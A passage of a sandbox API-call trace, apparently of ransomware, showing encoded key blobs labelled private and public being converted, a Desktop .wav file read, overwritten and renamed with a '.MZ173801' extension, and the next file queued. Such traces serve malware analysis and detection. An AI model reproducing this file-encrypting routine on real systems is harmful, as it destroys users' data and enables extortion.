TcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.273] GetCurrentThreadId () returned 0xab4 [0176.273] GetCurrentThreadId () returned 0xab4 [0176.273] GetCurrentThreadId () returned 0xab4 [0176.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.274] GetCurrentThreadId () returned 0xab4 [0176.274] GetCurrentThreadId () returned 0xab4 [0176.274] GetCurrentThreadId () returned 0xab4 [0176.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\KMXghpbeR3-y8wVV9k.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\kmxghpber3-y8wvv9k.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.274] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.274] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.274] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x8f17 [0176.274] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.274] ReadFile (in: hFile=0x320, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x8f17, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0x8f17, lpOverlapped=0x0) returned 1 [0176.275] CloseHandle (hObject=0x320) returned 1 [0176.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\KMXghpbeR3-y8wVV9k.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\kmxghpber3-y8wvv9k.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.278] WriteFile (in: hFile=0x320, lpBuffer=0x24b1e70*, nNumberOfBytesToWrite=0x8f17, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b1e70*, lpNumberOfBytesWritten=0x19fa24*=0x8f17, lpOverlapped=0x0) returned 1 [0176.280] CloseHandle (hObject=0x320) returned 1 [0176.280] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\KMXghpbeR3-y8wVV9k.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\kmxghpber3-y8wvv9k.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\KMXghpbeR3-y8wVV9k.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\kmxghpber3-y8wvv9k.wav.mz173801")) returned 1 [0176.281] GetCurrentThreadId () returned 0xab4 [0176.281] GetCurrentThreadId () returned 0xab4 [0176.281] GetCurrentThreadId () returned 0xab4 [0176.281] GetCurrentThreadId () returned 0xab4 [0176.281] GetCurrentThreadId () returned 0xab4 [0176.281] GetCurrentThreadId () returned 0xab4 [0176.281] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5350a090, ftCreationTime.dwHighDateTime=0x1d5ec1c, ftLastAccessTime.dwLowDateTime=0x71becf80, ftLastAccessTime.dwHighDateTime=0x1d5e6e4, ftLastWriteTime.dwLowDateTime=0x71becf80, ftLastWriteTime.dwHighDateTime=0x1d5e6e4, nFileSizeHigh=0x0, nFileSizeLow=0x463e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="llyx8LTQT3Lq.png", cAlternateFileName="LLYX8L~1.PNG")) returned 1 [0176.281] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.281] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\llyx8LTQT3Lq.png" (normalized: "c:\\users\\fd1hvy\\desktop\\llyx8ltqt3lq.png"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5350a090, ftCreationTime.dwHighDateTime=0x1d5ec1c, ftLastAccessTime.dwLowDateTime=0x71becf80, ftLastAccessTime.dwHighDateTime=0x1d5e6e4, ftLastWriteTime.dwLowDateTime=0x71becf80, ftLastWriteTime.dwHighDateTime=0x1d5e6e4, nFileSizeHigh=0x0, nFileSizeLow=0x463e)) returned 1 [0176.281] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\llyx8LTQT3Lq.png" (normalized: "c:\\users\\fd1hvy\\desktop\\llyx8ltqt3lq.png")) returned 0x20 [0176.281] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\llyx8LTQT3Lq.png", dwFileAttributes=0x80) returned 1 [0176.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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